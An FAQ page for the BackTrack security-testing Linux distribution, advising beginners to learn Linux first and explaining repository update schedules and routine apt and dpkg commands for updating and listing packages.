BackTrack is a highly specialized distro, where a lot of normal tasks are not done automatically for you as they are in a mainstream distro. Our best advice if you wish to start off using linux with BackTrack as your first linux operating system, is don't. Start off by downloading a copy of Kubuntu (as it is a similar base operating system to BackTrack) boot into that and force yourself to do everything you are used to doing on a daily basis using that, preferably spending most of your time using the command line tools. When and only when you can perform all of those daily tasks without having to look-up the commands should you move to BackTrack. Please don't take this as us saying you shouldn't use BackTrack, take it as friendly advice that you are letting yourself in for a whole world of pain and frustration if you are not fully comfortable performing administration of your own linux machine before you start with Backtrack.

I have just downloaded and installed the latest version of Backtrack, do i still need to update ?
Although you have downloaded the latest release of the iso or VM, this does not mean you will have the latest packages we provide. BackTrack is developed and updated on a continual basis, and for this reason you should still update your installation at regular intervals to keep yourself up to date with the latest packages, bugfixes and new tools.

When and how often do you update the BackTrack repo with new packages ?
Generally the BackTrack repo is updated with the weeks new packages late on a Sunday night so that they are available to you on Monday morning. There are times however when we feel that a package needs to be released straight away rather than waiting until the next scheduled Sunday repo update. So in these cases the repo update can happen at any time, day or night during the week. Please note that while the repo is being sync'd, it will be unavailable for downloading packages. This process doesn't take long so it will be rare for this to cause any of you more than a very short period of unavailability.

How do I update Backtrack with the new packages ?

First make sure that you have an internet connection, then use the following commands
root@bt:~# apt-get update root@bt:~# apt-get upgrade

Optionally you can run

root@bt:~# apt-get update root@bt:~# apt-get dist-upgrade

Where can I find a complete list of all the tools installed in BackTrack ?
No such resource currently exists, however you can see a list of all packages installed on your BackTrack system by running:
dpkg --list

Please remember that this will list all of the packages installed on BackTrack and not just the tools You can also search the repository for a particular package of interest by running the following command:
apt-cache search <keyword of interest>